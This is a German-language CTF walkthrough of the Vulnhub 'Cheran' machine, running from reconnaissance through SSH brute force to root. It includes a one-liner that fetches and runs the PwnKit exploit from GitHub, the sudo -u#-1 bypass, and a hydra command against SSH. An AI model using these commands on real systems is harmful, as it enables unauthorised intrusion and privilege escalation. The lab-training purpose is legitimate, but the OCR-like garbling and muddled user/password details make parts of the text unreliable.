Cheran - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
Nikto
gobuster
wget
msfconsole
hydra
apt-cache
ssh-keyscan

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase ist der erste Schritt bei jedem Penetrationstest. Hier sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.

ARP-Scan
192.168.2.108 08:00:27:da:25:ea PCS Systemtechnik GmbH

ARP-Scan wird verwendet, um Hosts im lokalen Netzwerk zu entdecken. In diesem Fall finden wir einen Host mit der IP-Adresse 192.168.2.108 und der MAC-Adresse 08:00:27:da:25:ea. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH.

/etc/hosts
192.168.2.108 cheran.vln

Die Datei /etc/hosts wird verwendet, um Hostnamen zu IP-Adressen aufzulösen. Hier wird der Hostname cheran.vln der IP-Adresse 192.168.2.108 zugewiesen. Dies ermöglicht uns, den Host über seinen Hostnamen anzusprechen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 15:05 CET
Nmap scan report for cheran.vln (192.168.2.108)
Host is up (0.00016s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 38:20:1e:42:7a:d6:a9:2a:01:62:58:f3:b6:37:d8:41 (RSA)
| 256 e8:c1:5a:14:7a:c6:09:24:b6:0a:c0:05:e4:82:03:d9 (ECDSA)
|_ 256 91:b9:e9:b9:e7:83:7a:28:71:48:c4:58:9b:39:7b:a1 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: A complete list of Chera Rulers and their contribution
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WRKGRUP)
MAC Address: 08:00:27:DA:25:EA (racle VirtualBox virtual NIC)
No exact S matches for host (If you know what S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
S:SCAN(V=7.94SVN%E=4%D=10/29%T=22%CT=1%CU=31398%PV=Y%DS=1%DC=D%G=Y%M=0800
S:27%TM=6720EBBC%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%
S:II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%
S:ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A
S:)PS(1=M5B4ST11NW6%2=M5B4ST11NW6%3=M5B4NNT11NW6%4=M5B4ST11NW6%5=M5B
S:4ST11NW6%6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88
S:)ECN(R=Y%DF=Y%T=40%W=FAF0%=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=%A=S+
S:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%=%RD=0%Q=)
S:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
S:=Z%F=R%=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%=%RD=0%Q=)U1(R=Y%D
S:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
S:0%CD=S)

Network Distance: 1 hop
Service Info: Host: UBUNTU; S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m58s, deviation: 3h10m31s, median: 1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-10-29T14:05:49
|_ start_date: N/A
| smb-os-discovery:
| S: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: ubuntu
| NetBIS computer name: UBUNTU\x00
| Domain name: \x00
| FQDN: ubuntu
|_ System time: 2024-10-29T19:35:49+05:30
|_nbstat: NetBIS name: UBUNTU, NetBIS user: , NetBIS MAC: (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default) TRACERUTE
HP RTT ADDRESS
1 0.16 ms cheran.vln (192.168.2.108) S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.61 seconds

Dieser Nmap-Befehl führt einen umfassenden TCP-Scan auf allen Ports des Zielsystems durch.

  • -sS: TCP-SYN-Scan (Stealth-Scan)
  • -sC: Verwendet Standard-NSE-Skripte für die Serviceerkennung
  • -sV: Erkennt die Service-Version
  • -A: Aggressiver Scan (Service-Version, Skript-Scan, Traceroute)
  • -p-: Scannt alle 65535 Ports
  • $IP: Ziel-IP-Adresse (192.168.2.108)
  • -Pn: Keine Ping-Anfrage vor dem Scan
  • --min-rate 5000: Sendet Pakete mit einer Rate von mindestens 5000 pro Sekunde
Der Scan zeigt, dass die Ports 22/tcp (SSH), 80/tcp (HTTP), 139/tcp (netbios-ssn) und 445/tcp (netbios-ssn) offen sind. Der SMB-Dienst ist aktiv und verwendet die Samba-Version 4.7.6-Ubuntu.

Web Enumeration

In der Web-Enumerationsphase versuchen wir, versteckte Dateien und Verzeichnisse auf dem Webserver zu finden.

- Nikto v2.5.0
+ Target IP: 192.168.2.108
+ Target Hostname: 192.168.2.108
+ Target Port: 80
+ Start Time: 2024-10-29 15:06:17 (GMT1)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Server may leak inodes via ETags, header found with file /, inode: 546e, size: 5ab9310dcc7c0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /admin.php?en_log_id=0&action=config: EasyNews version 4.3 allows remote admin access. This PHP file should be protected. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5412
+ /admin.php?en_log_id=0&action=users: EasyNews version 4.3 allows remote admin access. This PHP file should be protected. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5412
+ /admin.php: This might be interesting.
+ /users/: Directory indexing found.
+ /users/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8103 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-10-29 15:06:54 (GMT1) (37 seconds)

+ 1 host(s) tested

Nikto findet mehrere interessante Punkte:

  • Fehlende HTTP-Header, die zu Clickjacking- und MIME-Sniffing-Angriffen führen können.
  • Die Offenlegung der internen IP-Adresse (127.0.1.1) im Location-Header.
  • Mögliche Inode-Leaks über ETags.
  • Die Verwendung einer veralteten Apache-Version (2.4.29).
  • Hinweise auf mögliche administrative Zugänge (/admin.php).
  • Directory Indexing ist für /users/ und /images/ aktiviert.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.108/index.html (Status: 200) [Size: 21614]
http://192.168.2.108/images (Status: 301) [Size: 315] [--> http://192.168.2.108/images/]
http://192.168.2.108/users (Status: 301) [Size: 314] [--> http://192.168.2.108/users/]
http://192.168.2.108/admin.php (Status: 200) [Size: 100]
http://192.168.2.108/robots.txt (Status: 200) [Size: 21]
http://192.168.2.108/youtube (Status: 301) [Size: 316] [--> http://192.168.2.108/youtube/]

Gobuster wird verwendet, um das Webverzeichnis zu durchsuchen. Die Ergebnisse bestätigen die Existenz der Verzeichnisse /images/, /users/, /youtube/ und der Dateien /index.html, /admin.php und /robots.txt.

Initial Access

In dieser Phase versuchen wir, initialen Zugriff auf das System zu erhalten.

~ username gefunden >>
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/Header_1',[[980, 60], [980, 50], [728, 90]], 'Header_1').addService(googletag.pubads());
~
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/Gutter_LHS', [[160, 600], [120, 600]], 'Gutter_LHS').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/Gutter_RHS', [[160, 600], [120, 600]], 'Gutter_RHS').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/ATF_1', [[300, 600], [300, 250]], 'ATF_1').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/ATF_2', [[300, 600], [300, 250]], 'ATF_2').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/ATF_3', [[300, 600], [300, 250]], 'ATF_3').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/Interstitial_1x1', [1, 1], 'Interstitial_1x1_W').addService(googletag.pubads());
googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/Midarticle_480x320', [[480, 320], [300, 300], [300, 250], [336, 280]], 'Midarticle_1').addService(googletag.pubads());
//googletag.defineSlot('/13276288/Josh/Desktop/General-Knowledge/Detail/ticker_980x60', [[980, 60], [980, 50]], 'ticker_1').addService(googletag.pubads());

var fullurl = "https://m.jagranjosh.com" + window.location.pathname;
....
....
/googletag.defineSlot('/13276288/Josh/Desktop/Articles/Detail/ticker_980x60'

Die obige Ausgabe ist wahrscheinlich aus dem Quellcode einer Webseite extrahiert. Die Informationen deuten auf die Verwendung von Google AdSense und verschiedene Anzeigen-Slots hin. Der relevante Teil ist der Hinweis auf das Finden eines Benutzernamens, obwohl der eigentliche Benutzername in diesem Auszug nicht explizit angegeben ist. Dies deutet darauf hin, dass der Benutzername aus dem JavaScript-Code extrahiert wurde.

┌──(root㉿CCat)-[~]
└─# msfconsole -q -x "search ssh_enum"
Matching Modules

# Name Disclosure Date Rank Check Description
- - - -- --
0 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration
1 \_ action: Malformed Packet . . . Use a malformed packet
2 \_ action: Timing Attack . . . Use a timing attack
3 auxiliary/scanner/ssh/ssh_enum_git_keys . normal No Test SSH Github Access

In Metasploit wird nach Modulen gesucht, die mit "ssh_enum" in Verbindung stehen. Dies deutet auf den Versuch hin, Benutzernamen für den SSH-Dienst aufzuzählen.

http://192.168.2.108/robots.txt
/*
/users
/youtube

Die robots.txt-Datei gibt an, welche Verzeichnisse für Suchmaschinen-Crawler nicht zugänglich sein sollen. Hier werden die Verzeichnisse /users und /youtube ausgeschlossen.

------------------------------------------------------------------------------------------------


http://192.168.2.108/users/

Index of /users
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] Rajasimha.html 2020-07-29 13:02 1.0K
[TXT] cheran.html 2020-07-29 12:19 176

Das Verzeichnis-Listing für /users/ zeigt die Dateien Rajasimha.html und cheran.html. Dies deutet darauf hin, dass es Benutzer mit diesen Namen gibt.

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.108/images/Chera-Dynasty.jpg
--2024-10-29 15:18:03-- http://192.168.2.108/images/Chera-Dynasty.jpg
Verbindungsaufbau zu 192.168.2.108:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 58824 (57K) [image/jpeg]
Wird in Chera-Dynasty.jpg gespeichert.

Chera-Dynasty.jpg 100%[=>] 57,45K --.-KB/s in 0s

2024-10-29 15:18:03 (935 MB/s) - Chera-Dynasty.jpg gespeichert [58824/58824]

Die Bilddatei Chera-Dynasty.jpg wird mit wget heruntergeladen.

------------------------------------------------------------------------------------------------

view-source:http://192.168.2.108/users/Rajasimha.html
Rajasimha
Find me...
--
+++++ +++[- >++++ ++++< ]>+++ .<+++ +++[- >++++ ++<]> +++++ +++.- .- .< +++[- >+++< ]>++. <++++ [->-- --<]> -.<++ ++[-> ++++< ]>+++ .-.<+ +++++ ++[-> -- <] >- .< +++[- >< ]> .<+++ +[->- <] >. .+ ++.-- -.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ .<+++ +[->+ +++<] >++++ .+.<+ ++[-> +++<] >+.<+ +++++ +++[- >- -- <]>-- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++.< +++[- >+++< ]>+.< +++++ ++++[ -> -- -<]>- -.<++ +++++ ++[-> +++++ ++++< ]>+++ .<+++ [->-- -<]>- --.-- -.<++ +++++ +[->- -- --<]> -- .<+++ ++++[ ->+++ ++++< ]>+++ +.<++ +++[- >++++ +<]>+ ++++. <+++[ -> <]>-- .< +++[- >+++< ]>+++ +. -.<++ +[->- --<]> -. <+++[ ->+++ <]>++ +. -- .<+++ ++++[ -> -< ]> .. .<+++ ++[-> -- <]>-- -- -. .<
-->
------------------------------------------------------------------------------------------------
https://www.dcode.fr/brainfuck-language
Rajasimha

utput:

Congrats,

This is the Username...

Memory Dump: [index] = char (ASCII code)
[0] = (0)
[1] = (10)
pointer = 0

Der Quellcode von Rajasimha.html enthält Brainfuck-Code. Der Brainfuck-Code wird auf https://www.dcode.fr/brainfuck-language decodiert. Die Ausgabe lautet "Congrats, This is the Username...", aber der eigentliche Benutzername fehlt immer noch.

------------------------------------------------------------------------------------------------
http://192.168.2.108/youtube/youtube.html

Die Ausgabe für die "youtube.html"

Shadow Phreak
Visit Shadow Phreak Youtube Channel

Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe
Please Subscribe

Author : Mr. S. Premkumar
Shadow Phreak
href="http://www.youtube.com/c/ShadowPhreak" Visit Shadow Phreak Youtube Channel

MvEGnf4CvMkf897aE9V3BIidyEEb7BDLwMIArVvZpEchSu9PcXNhIhmWjRM9dViQjQqbhtw7FawYnTDqNcbib0V0QxKe5ufcVLCDnSQf4Vg
-- U0dsa1pHVnVJRWx1Wm04PQ --> Hidden Info
------------------------------------------------------------------------------------------------

https://www.base64decode.org/

-- U0dsa1pHVnVJRWx1Wm04PQ -->
Hidden Info

------------------------------------------------------------------------------------------------


https://www.youtube.com/watch?v=jQqbhtw7Faw



277 Aufrufe 29.07.2020
Cheran_Vulnhub_User_Password



Password : k4rur

Die Webseite "youtube/youtube.html" enthält einen Link zu einem YouTube-Kanal ("Shadow Phreak") und eine Base64-kodierte Zeichenkette ("U0dsa1pHVnVJRWx1Wm04PQ"). Diese Zeichenkette wird auf https://www.base64decode.org/ dekodiert. Der YouTube-Kanal und das zugehörige Video enthüllen das Passwort des Benutzers "Cheran" als "k4rur".

┌──(root㉿CCat)-[~]
└─# vi /usr/share/wordlists/rockyou.txt


https://www.youtube.com/watch?v=jQqbhtw7Faw



277 Aufrufe 29.07.2020
Cheran_Vulnhub_User_Password



Password : k4rur
┌──(root㉿CCat)-[~]
└─# hydra -l Rajasimha -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.108 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-29 15:46:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344496 login tries (l:1/p:14344496), ~224133 tries per task
[DATA] attacking ssh://192.168.2.108:22/

[22][ssh] host: 192.168.2.108 login: Rajasimha password: k4rur

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERRR] 20 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-29 15:46:17
Hydra wird verwendet, um das Passwort für den Benutzer "Rajasimha" zu knacken. Obwohl das Passwort für "Cheran" gefunden wurde, wird hier versucht, "Rajasimha" zu knacken. Hydra ist erfolgreich und findet das Passwort "k4rur".

Privilege Escalation
Rajasimha@ubuntu$
└─# sudo -u root python -c 'import pty;pty.spawn("/bin/bash")'^C
Rajasimha@ubuntu$
└─# find / -type f -perm -4000 -ls 2>/dev/null
394004 44 -rwsr-xr-x 1 root root 44664 Nov 29 2022 /bin/su
400976 28 -rwsr-xr-x 1 root root 26696 Sep 17 2020 /bin/umount
393476 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
404237 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
394000 44 -rwsr-xr-x 1 root root 43088 Sep 17 2020 /bin/mount
526006 40 -rwsr-xr-x 1 root root 39696 Jun 1 2022 /sbin/mount.cifs
525897 76 -rwsr-xr-x 1 root root 76496 Nov 29 2022 /usr/bin/chfn
524389 40 -rwsr-xr-x 1 root root 37136 Nov 29 2022 /usr/bin/newuidmap
541270 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
525904 60 -rwsr-xr-x 1 root root 59640 Nov 29 2022 /usr/bin/passwd
525899 44 -rwsr-xr-x 1 root root 44528 Nov 29 2022 /usr/bin/chsh
529899 148 -rwsr-xr-x 1 root root 149080 Apr 4 2023 /usr/bin/sudo
525902 76 -rwsr-xr-x 1 root root 75824 Nov 29 2022 /usr/bin/gpasswd
545177 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
540762 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
524388 40 -rwsr-xr-x 1 root root 37136 Nov 29 2022 /usr/bin/newgidmap
524439 40 -rwsr-xr-x 1 root root 40344 Nov 29 2022 /usr/bin/newgrp
541917 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
545429 112 -rwsr-xr-x 1 root root 113528 Jul 10 2020 /usr/lib/snapd/snap-confine
270898 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
526212 44 -rwsr-xr-- 1 root messagebus 42992 ct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
529399 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
545180 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
Das erste sudo Kommando wird abgebrochen durch eine Benutzerinteraktion, also nicht verwendbar. Der Befehl "find / -type f -perm -4000 -ls 2>/dev/null" sucht nach SUID-Dateien. Dies kann auf potentielle Schwachstellen hindeuten, ist aber noch kein Erfolg.

Rajasimha@ubuntu$
└─# /usr/bin/pkexec /bin/sh
AUTHNTICATING FR org.freedesktop.policykit.exec =
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: cheran,,, (cheran)
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
AUTHNTICATIN FAILED =
Error executing command as another user: Not authorized

This incident has been reported
Die Ausführung von "/usr/bin/pkexec /bin/sh" schlägt fehl, da das Passwort für den Benutzer "cheran" nicht korrekt ist.

Rajasimha@ubuntu$ curl
curl: try 'curl --help' or 'curl --manual' for more information
Test curl ausgabe

Rajasimha@ubuntu$ cd /tmp/
Rajasimha@ubuntu:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(Rajasimha) root@ubuntu:/tmp#
Das PwnKit wird ausgeführt und liefert Shell Zugriff. "id" bestätigt root Berechtigung.

Privilege Escalation erfolgreich
root@ubuntu:/tmp# cd ~
root@ubuntu: ls
root.txt
root@ubuntu: cat root.txt
Bow & Arrow (/, %%/ /*/(.Cheran Flag.)/*////*/* /(,, /*/((((/// // /(, .,, /( /(, */, / (#, , ,,, ./ (# , ,,, // (# .. ,,, /( (,,,,,,,,,,,,,,, /, * ,, *. , ,, * * ,,, /* , /* #% ,, * #% , .*, #%*. %% Congrats... #( Here is the Flag... #* .#* .(* Share your screenshot in telegram : https://t.me/joinchat/N06BGRSyCLUnBsNd9fxg """

Privilege Escalation Nr.2 Rajasimha@ubuntu$ sudo -l

Matching Defaults entries for Rajasimha on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User Rajasimha may run the following commands on ubuntu:
(ALL, !root) /bin/bash
Ausgabe von "sudo -l".



Rajasimha@ubuntu$ sudo -u#-1 /bin/bash
Ausnutzen eines fehlershaften sudo
root@ubuntu: whoami
Root zugriff
root@ubuntu:
Erfolgreicher Root zugriff über ein sudo Exploit

Flags

cat root.txt Bow & Arrow (/, %%/ /*/(.Cheran Flag.)/*////*/* /(,, /*/((((/// // /(, .,, /( /(, */, / (#, , ,,, ./ (# , ,,, // (# .. ,,, /( (,,,,,,,,,,,,,,, /, * ,, *. , ,, * * ,,, /* , /* #% ,, * #% , .*, #%*. %% Congrats... #( Here is the Flag... #* .#* .(* Share your screenshot in telegram : https://t.me/joinchat/N06BGRSyCLUnBsNd9fxg